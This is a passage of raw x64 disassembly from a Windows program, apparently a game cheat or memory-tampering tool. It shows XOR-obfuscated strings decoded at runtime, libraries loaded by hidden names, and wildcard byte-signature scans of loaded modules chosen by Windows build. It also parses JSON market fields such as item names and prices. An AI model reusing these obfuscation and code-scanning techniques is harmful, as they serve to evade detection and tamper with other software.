lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140043f20
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
xor r12d, r12d
mov qword [rbp + 0x9350], r12
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x9360], xmm0
mov byte [rbp + 0x9350], r12b
lea rax, [rbp + 0x120]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140043fc0
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x9350]
call fcn.14005a030
nop
lea rax, [rbp + 0x620]
mov qword [rbp - 0x28], rax
movabs rax, 0x11991c20b7ab7df0
mov qword [rbp + 0x93e0], rax
movabs rax, 0x471711cf255218a4
mov qword [rbp + 0x93e8], rax
movabs rax, 0x15c9090a9d96456a
mov qword [rbp + 0x93f0], rax
movabs rax, 0x6ab7664e941dad3c
mov qword [rbp + 0x93f8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x3eb62653c7df0998
mov qword [rbp + 0x9420], rax
movabs rax, 0x2c6570bb0b3b68c5
mov qword [rbp + 0x9428], rax
movabs rax, 0x72e67f6ff9b83305
mov qword [rbp + 0x9430], rax
movabs rax, 0x6ab70a3ffc6dcc4e
mov qword [rbp + 0x9438], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x93e0]
lea rcx, [rbp + 0x120]
mov rdx, rdi
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400440e0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov qword [rbp + 0x620], r12
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x93e0]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140044190
lea rdx, [rbp + 0x93e0]
lea rcx, [rbp + 0x620]
call fcn.14005a030
nop
lea rdx, [rbp + 0x9350]
lea rcx, [rbp + 0x1390]
call fcn.140009090
nop
lea r8, [rbp + 0x620]
mov rdx, rax
lea rcx, [rbp + 0x9380]
call fcn.1400559a0
nop
cmp qword [rbp + 0x9390], 0x3e8
ja 0x140044387
movabs rax, 0x2461a0cb46a240
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe762e5b24b2cf5e
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x2461d2a434d005
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93b0]
pxor xmm0, xmmword [rbp + 0x93a0]
movaps xmmword [rbp + 0xc10], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xc20], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xc30], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xc40], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xc50], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xc60], xmm0
movabs rax, 0x12e94cf104d33940
mov qword [rbp + 0x93e0], rax
movabs rax, 0x7348d151c52f1c00
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x7d8600d170b67e61
mov qword [rbp + 0x9400], rax
movabs rax, 0x7348d151c52f1674
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x1760]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0xc10]
lea rdx, [rbp + 0x1760]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor bl, bl
jmp 0x14004741f
mov qword [rbp + 0x838], r12
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rbp + 0x800]
lea rdx, [rbp + 0x9380]
lea rcx, [rbp + 0x9330]
call fcn.140006860
nop
lea rdx, str.data
lea rcx, [rbp + 0x9330]
call fcn.1400014f0
lea rdx, str.items
mov rcx, rax
call fcn.1400014f0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x9310], xmm0
movups xmmword [rbp + 0x9320], xmm0
lea rdx, [rbp + 0x9310]
mov rcx, rax
call fcn.14005a360
xorps xmm0, xmm0
movups xmmword [rbp + 0x93a0], xmm0
movups xmmword [rbp + 0x93b0], xmm0
lea rdx, [rbp + 0x93a0]
mov rcx, rbx
call fcn.14005b810
mov qword [rbp - 0x38], r12
lea rbx, [rsi + 0x290]
mov rax, qword [rbp + 0x93b8]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0x93b0]
mov qword [rbp + 0x560], rax
mov rax, qword [rbp + 0x93a8]
mov qword [rbp + 0x60], rax
mov rdx, qword [rbp - 0x20]
mov r12d, dword [rsp + 0x30]
mov dword [rsp + 0x38], r12d
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x40], rax
nop dword [rax]
mov rax, qword [rbp + 0x9310]
movzx ecx, byte [rax]
mov r8d, ecx
mov r11, qword [rbp + 0x9328]
mov r9, qword [rbp + 0x9318]
mov r10, qword [rbp + 0x9320]
sub r8d, 1
je 0x14004449d
cmp r8d, 1
je 0x140044494
cmp r11, qword [rbp - 0x30]
jmp 0x1400444a1
cmp r10, qword [rbp + 0x560]
jmp 0x1400444a1
cmp r9, qword [rbp + 0x60]
sete al
test al, al
jne 0x140044996
test ecx, ecx
je 0x1400444c5
sub ecx, 1
je 0x1400444bf
cmp ecx, 1
jne 0x1400444c5
mov rdx, r10
jmp 0x1400444d0
lea rdx, [r9 + 0x40]
jmp 0x1400444d0
test r11, r11
cmove rdx, qword [rbp + 0x9310]
mov qword [rbp - 0x48], rdx
lea rcx, [rbp + 0x9280]
call fcn.140008bc0
nop
lea rdx, [0x140113144]
lea rcx, [rbp + 0x9280]
call fcn.1400014f0
nop
xor ecx, ecx
mov qword [rbp + 0xa0], rcx
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa0], cl
or r14d, 4
mov dword [rsp + 0x30], r14d
cmp byte [rax], 3
jne 0x140044536
mov rdx, qword [rax + 8]
lea rax, [rbp + 0xa0]
cmp rax, rdx
je 0x140044553
jmp 0x140044539
mov rdx, rcx
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140044547
mov rdx, qword [rdx]
lea rcx, [rbp + 0xa0]
call fcn.14005a030
and r14d, 0xfffffffb
or r14d, 2
lea rcx, [rbp + 0x780]
call fcn.140009910
nop
lea r8, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae r8, qword [rbp + 0xa0]
mov r9, qword [rbp + 0xb0]
add r9, r8
lea rdx, [rbp + 0x640]
mov rcx, rax
call fcn.14005c840
or r14d, 0x18
mov dword [rsp + 0x30], r14d
lea rcx, [rbp + 0x780]
call fcn.14000b6f0
nop
lea rdx, [rbp + 0x640]
cmp qword [rbp + 0x658], 8
cmovae rdx, qword [rbp + 0x640]
xor eax, eax
mov qword [rbp + 0x9290], rax
mov qword [rbp + 0x92a0], rax
mov qword [rbp + 0x92a8], 7
mov word [rbp + 0x9290], ax
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rdx + r8*2], 0
jne 0x1400445f0
lea rcx, [rbp + 0x9290]
call fcn.14005a180
nop
lea rcx, [rbp + 0x640]
call fcn.140059be0
nop
lea rcx, [rbp + 0xa0]
call fcn.14000b160
xor edx, edx
mov ecx, edx
cmp qword [rbp + 0x92a0], rdx
jbe 0x14004465c
nop
lea rax, [rbp + 0x9290]
cmp qword [rbp + 0x92a8], 8
cmovae rax, qword [rbp + 0x9290]
movzx eax, word [rax + rcx*2]
mov word [rbx + rcx*2 - 0x3c], ax
inc rcx
cmp rcx, qword [rbp + 0x92a0]
jb 0x140044630
lea rdx, str.shortName
lea rcx, [rbp + 0x9280]
call fcn.1400014f0
lea rdx, [rbp + 0x92d0]
mov rcx, rax
call fcn.140001710
nop
xor eax, eax
mov ecx, eax
cmp qword [rbp + 0x92e0], rax
jbe 0x1400446ba
nop dword [rax]
lea rax, [rbp + 0x92d0]
cmp qword [rbp + 0x92e8], 0x10
cmovae rax, qword [rbp + 0x92d0]
movzx eax, byte [rax + rcx]
mov byte [rbx + rcx], al
inc rcx
cmp rcx, qword [rbp + 0x92e0]
jb 0x140044690
lea rdx, str.avg24hPrice
lea rcx, [rbp + 0x9280]
call fcn.1400014f0
mov r9, rax
movzx r8d, byte [rax]
mov edx, r8d
sub edx, 4
je 0x140044738
sub edx, 1
je 0x140044719
sub edx, 1
je 0x140044703
cmp edx, 1
jne 0x140044752
add rax, 8
cmp r8b, 7
mov edx, 0
cmovne rax, rdx
cvttsd2si r12d, qword [rax]
jmp 0x14004474d
add rax, 8
cmp r8b, 6
mov edx, 0
cmovne rax, rdx
mov r12d, dword [rax]
jmp 0x14004474d
sub r8b, 5
cmp r8b, 1
setbe al
lea rcx, [r9 + 8]
test al, al
mov eax, 0
cmove rcx, rax
mov r12d, dword [rcx]
jmp 0x14004474d
add rax, 8
cmp r8b, 4
mov edx, 0
cmovne rax, rdx
movzx r12d, byte [rax]
mov dword [rsp + 0x38], r12d
mov dword [rbx + 0x50], r12d
lea rdx, str.types
lea rcx, [rbp + 0x9280]
call fcn.1400014f0
movzx edx, byte [rax]
test edx, edx
je 0x140044f2c
sub edx, 1
je 0x14004478b
cmp edx, 1
jne 0x14004479f
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
jmp 0x140044794
mov rax, qword [rax + 8]
cmp qword [rax + 8], 0
sete al
test al, al
jne 0x140044f2c
xor eax, eax
mov qword [rbp + 0x92b0], rax
mov qword [rbp + 0x92c0], rax
mov qword [rbp + 0x92c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x92b0], al
lea r14d, [rax - 1]
lea rdx, str.types
lea rcx, [rbp + 0x9280]
call fcn.1400014f0
mov r12, rax
movzx eax, byte [rax]
test al, al
jne 0x14004481b
mov byte [r12], 2
lea ecx, [r14 + 0x19]
call fcn.14010809c
lea rcx, [rbp + 0x9278]
mov qword [rbp + 0x9370], rcx
xor ecx, ecx
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rcx
mov qword [rbp + 0x9378], rcx
mov qword [r12 + 8], rax
movzx eax, byte [r12]
cmp al, 2
jne 0x1400448b2
mov rax, qword [r12 + 8]
mov qword [rbp - 0x28], rax
mov rcx, qword [rax]
mov qword [rsp + 0x40], rcx
mov rax, qword [rax + 8]
sub rax, rcx
sar rax, 4
test rax, rax
jne 0x1400448b2
mov byte [rbp + 0xc0], al
xor edx, edx
lea rcx, [rbp + 0xc8]
call fcn.14000abe0
nop
mov rax, qword [r12 + 8]
mov r8, qword [rax + 8]
mov rcx, r8
sub rcx, qword [rax]
sar rcx, 4
mov r9d, 1
sub r9, rcx
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x670]
mov rcx, qword [rbp - 0x28]
call fcn.14005d680
nop
movzx edx, byte [rbp + 0xc0]
lea rcx, [rbp + 0xc8]
call fcn.14005ae20
mov rax, qword [r12 + 8]
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
xor r12d, r12d
cmp byte [rax], 3
jne 0x1400448c5
mov rdx, qword [rax + 8]
jmp 0x1400448c8
mov rdx, r12
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x1400448d6
mov rdx, qword [rdx]
lea rcx, [rbp + 0x92b0]
call fcn.140059f10
mov rcx, r12
mov rdx, qword [rbp + 0x92c0]
test rdx, rdx
je 0x140044ed3
cmp qword [rbp + 0x92c8], 0x10
setae r8b
mov r9, qword [rbp + 0x92b0]
nop dword [rax + rax]
lea rax, [rbp + 0x92b0]
test r8b, r8b
cmovne rax, r9
movsx eax, byte [rcx + rax]
add r14d, eax
inc rcx
cmp rcx, rdx
jb 0x140044910
cmp r14d, 0xffffffff
je 0x140044ed3
lea eax, [r14 + 1]
mov dword [rbx + 0x54], eax
mov rax, qword [rbp - 0x38]
inc rax
mov qword [rbp - 0x38], rax
add rbx, 0x94
lea rcx, [rbp + 0x92b0]
cmp rax, 0xbb8
jne 0x140044eda
call fcn.14000b160
nop
lea rcx, [rbp + 0x92d0]
call fcn.14000b160
nop
lea rcx, [rbp + 0x9290]
call fcn.140059be0
nop
movzx edx, byte [rbp + 0x9280]
lea rcx, [rbp + 0x9288]
call fcn.14005ae20
call qword [sym.imp.USER32.dll_GetDesktopWindow]
xorps xmm0, xmm0
movups xmmword [rbp + 0x9340], xmm0
lea rdx, [rbp + 0x9340]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0x9348]
mov dword [rsi + 0x240], eax
mov eax, dword [rbp + 0x934c]
mov dword [rsi + 0x244], eax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, str.Shell_TrayWnd
call qword [sym.imp.USER32.dll_FindWindowW]
mov qword [rsi + 0x248], rax
test rax, rax
je 0x140047284
cmp dword [rsi + 0x240], 0
jle 0x140047284
cmp dword [rsi + 0x244], 0
jle 0x140047284
mov r14d, dword [0x7ffe0260]
movabs rax, 0x174334ee3095a39f
mov qword [rbp + 0x93e0], rax
movabs rax, 0x20ed5d77565de760
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x3926468153f8d4fb
mov qword [rbp + 0x9400], rax
movabs rax, 0x20ed5d7756318b04
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x1bb0]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea rcx, [rbp + 0x1bb0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140047409
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rbx], 0x4550
jne 0x140047409
lea r9, [rbx + 0x108]
add r9, rax
je 0x140044c24
movzx eax, word [rax + rbx + 6]
lea rcx, [rax + rax*4]
lea r10, [r9 + rcx*8]
cmp r9, r10
jae 0x140044c24
movabs rax, 0x35508576d2b77d
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xac3acc63ed73dd4
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x3550f10eb7c353
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movaps xmm1, xmmword [rbp - 0x60]
movaps xmm2, xmmword [rbp - 0x70]
movaps xmm3, xmmword [rbp - 0x80]
movaps xmm4, xmmword [rsp + 0x70]
movaps xmm5, xmmword [rsp + 0x60]
movdqa xmm6, xmmword [rbp + 0x93b0]
movdqa xmm7, xmmword [rbp + 0x93a0]
nop dword [rax]
movdqa xmm0, xmm7
pxor xmm0, xmm6
movaps xmmword [rbp + 0x93e0], xmm0
movaps xmmword [rbp + 0x93f0], xmm5
movaps xmmword [rbp + 0x9400], xmm4
movaps xmmword [rbp + 0x9410], xmm3
movaps xmmword [rbp + 0x9420], xmm2
movaps xmmword [rbp + 0x9430], xmm1
mov rax, r9
lea r8, [rbp + 0x93e0]
sub r8, r9
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140044c13
inc rax
test ecx, ecx
jne 0x140044c00
test edx, edx
je 0x140044f6e
add r9, 0x28
cmp r9, r10
jb 0x140044bc0
mov r12, qword [rbp - 0x40]
mov dword [rbp + 0x93a0], 0xcc058d48
mov dword [rbp + 0x93a4], 0x48cccccc
mov dword [rbp + 0x93a8], 0xcc194489
mov dword [rbp + 0x93ac], 0x18438b48
mov dword [rbp + 0x93b0], 0x4486348
mov dword [rbp + 0x93b4], 0xcccc918d
mov dword [rbp + 0x93b8], 0x5489cccc
mov dword [rbp + 0x93bc], 0x8b481419
mov dword [rbp + 0x93c0], 0x63481843
mov dword [rbp + 0x93c4], 0x918d0848
mov dword [rbp + 0x93c8], 0xcccccccc
mov dword [rbp + 0x93cc], 0x14195489
mov dword [rbp + 0x93d0], 0x18438b48
mov byte [rbp + 0x93d4], 0x48
mov dword [rbp + 0x93e0], 0xcc058d48
mov dword [rbp + 0x93e4], 0x48cccccc
mov dword [rbp + 0x93e8], 0xcc194489
mov dword [rbp + 0x93ec], 0x8438b48
mov dword [rbp + 0x93f0], 0x4486348
mov dword [rbp + 0x93f4], 0xcccc918d
mov dword [rbp + 0x93f8], 0x5489cccc
mov dword [rbp + 0x93fc], 0x8b480419
mov dword [rbp + 0x9400], 0x63480843
mov dword [rbp + 0x9404], 0x918d0848
mov dword [rbp + 0x9408], 0xcccccccc
mov dword [rbp + 0x940c], 0x4195489
mov dword [rbp + 0x9410], 0x8438b48
mov byte [rbp + 0x9414], 0x48
cmp r14d, 0x4a61
jb 0x140045136
mov r8d, gethostname
mov rcx, rbx
cmp r14d, 0x4a65
ja 0x140044fa6
lea rdx, [rbp + 0x93a0]
call fcn.140050080
test rax, rax
jne 0x140044f89
movabs rax, 0x339637bc3d9554
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe81cbc342c0a62e
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x339645d34fe711
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0xc70], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xc80], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xc90], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xca0], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xcb0], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xcc0], xmm0
movabs rax, 0x8e374455defbbed
mov qword [rbp + 0x93e0], rax
movabs rcx, 0x7bfc8179750a6db
mov qword [rbp + 0x93e8], rcx
xorps xmm1, xmm1
movabs rax, 0x2d354787db8f3ae
mov qword [rbp + 0x9400], rax
mov qword [rbp + 0x9408], rcx
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
pxor xmm2, xmm1
movaps xmmword [rbp + 0x1300], xmm0
movaps xmmword [rbp + 0x1310], xmm2
movaps xmm0, xmmword [rbp + 0x590]
movaps xmmword [rbp + 0x1320], xmm0
movaps xmm1, xmmword [rbp + 0x5a0]
movaps xmmword [rbp + 0x1330], xmm1
movaps xmm0, xmmword [rbp + 0x5b0]
movaps xmmword [rbp + 0x1340], xmm0
movaps xmm1, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0x1350], xmm1
movaps xmm0, xmmword [rbp + 0x5d0]
movaps xmmword [rbp + 0x1360], xmm0
movaps xmm1, xmmword [rbp + 0x5e0]
movaps xmmword [rbp + 0x1370], xmm1
movaps xmm0, xmmword [rbp + 0x5f0]
movaps xmmword [rbp + 0x1380], xmm0
lea r8, [rbp + 0xc70]
lea rdx, [rbp + 0x1300]
jmp 0x1400473ef
lea rcx, [rbp + 0x92b0]
call fcn.14000b160
nop
lea rcx, [rbp + 0x92d0]
call fcn.14000b160
nop
lea rcx, [rbp + 0x9290]
call fcn.140059be0
nop
movzx edx, byte [rbp + 0x9280]
lea rcx, [rbp + 0x9288]
call fcn.14005ae20
mov r14d, dword [rsp + 0x30]
mov r12d, dword [rsp + 0x38]
lea rcx, [rbp + 0x9310]
call fcn.14000c5a0
mov rdx, qword [rbp - 0x48]
jmp 0x140044460
lea rcx, [rbp + 0x92d0]
call fcn.14000b160
nop
lea rcx, [rbp + 0x9290]
call fcn.140059be0
nop
movzx edx, byte [rbp + 0x9280]
lea rcx, [rbp + 0x9288]
call fcn.14005ae20
lea rcx, [rbp + 0x9310]
call fcn.14000c5a0
mov rdx, qword [rbp - 0x48]
jmp 0x140044460
mov eax, dword [r9 + 0x10]
mov ecx, dword [r9 + 0xc]
mov r12, qword [rbp - 0x40]
add rax, r12
add rcx, rax
mov qword [rsi + 8], rcx
jmp 0x140044c28
mov qword [rsi + 0x10], 0x118
mov qword [rsi + 0x18], 0x80
mov qword [rsi + 0x20], __WSAFDIsSet
jmp 0x140045138
lea rdx, [rbp + 0x93e0]
call fcn.140050080
test rax, rax
jne 0x14004511c
movabs rax, 0x388df8471d7e25
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe86e2ce5eb7aeda
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x388d8a286f0c60
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0xcd0], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xce0], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xcf0], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xd00], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xd10], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xd20], xmm0
movabs rax, 0x14d3f80864917402
mov qword [rbp + 0x93e0], rax
movabs rcx, 0x2cbe0f143f2a13b
mov qword [rbp + 0x93e8], rcx
xorps xmm1, xmm1
movabs rax, 0x1ee3d83544c63c41
mov qword [rbp + 0x9400], rax
mov qword [rbp + 0x9408], rcx
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
pxor xmm2, xmm1
movaps xmmword [rbp + 0x570], xmm0
movaps xmmword [rbp + 0x580], xmm2
movaps xmm0, xmmword [rbp + 0x590]
movaps xmmword [rbp + 0x590], xmm0
movaps xmm1, xmmword [rbp + 0x5a0]
movaps xmmword [rbp + 0x5a0], xmm1
movaps xmm0, xmmword [rbp + 0x5b0]
movaps xmmword [rbp + 0x5b0], xmm0
movaps xmm1, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0x5c0], xmm1
movaps xmm0, xmmword [rbp + 0x5d0]
movaps xmmword [rbp + 0x5d0], xmm0
movaps xmm1, xmmword [rbp + 0x5e0]
movaps xmmword [rbp + 0x5e0], xmm1
movaps xmm0, xmmword [rbp + 0x5f0]
movaps xmmword [rbp + 0x5f0], xmm0
lea r8, [rbp + 0xcd0]
lea rdx, [rbp + 0x570]
jmp 0x1400473ef
mov qword [rsi + 0x10], 0x1b0
mov qword [rsi + 0x18], 0xc0
mov qword [rsi + 0x20], Ordinal_211
jmp 0x140045138
xor eax, eax
sub rax, rbx
add rax, r12
mov qword [rsi], rax
je 0x140047409
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movabs rax, 0xeac04c3151c58b8
mov qword [rbp + 0x93e0], rax
movabs rax, 0x6aecb4825a7dd74b
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x6a8236f067792bcd
mov qword [rbp + 0x9400], rax
movabs rax, 0x6aecb4825a7dbb27
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x93f0], xmm2
lea rcx, [rbp + 0x18c0]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea rcx, [rbp + 0x18c0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x1400473fd
mov dword [rbp + 0x93a0], 0x38ec8348
mov dword [rbp + 0x93a4], 0x44db3345
mov dword [rbp + 0x93a8], 0xcccc1d39
mov dword [rbp + 0x93ac], 0x2e74cccc
mov dword [rbp + 0x93b0], 0x48b4865
mov dword [rbp + 0x93b4], 0xcccccc25
mov dword [rbp + 0x93b8], 0x508b4ccc
mov byte [rbp + 0x93bc], 0x48
mov r8d, Ordinal_30
lea rdx, [rbp + 0x93a0]
mov rcx, rax
call fcn.140050080
mov rcx, rax
sub rcx, rbx
mov r14, qword [rbp - 0x50]
add rcx, r14
mov qword [rsi + 0x170], rcx
test rax, rax
je 0x1400473fd
mov dword [rbp + 0x93a0], 0x48ec8348
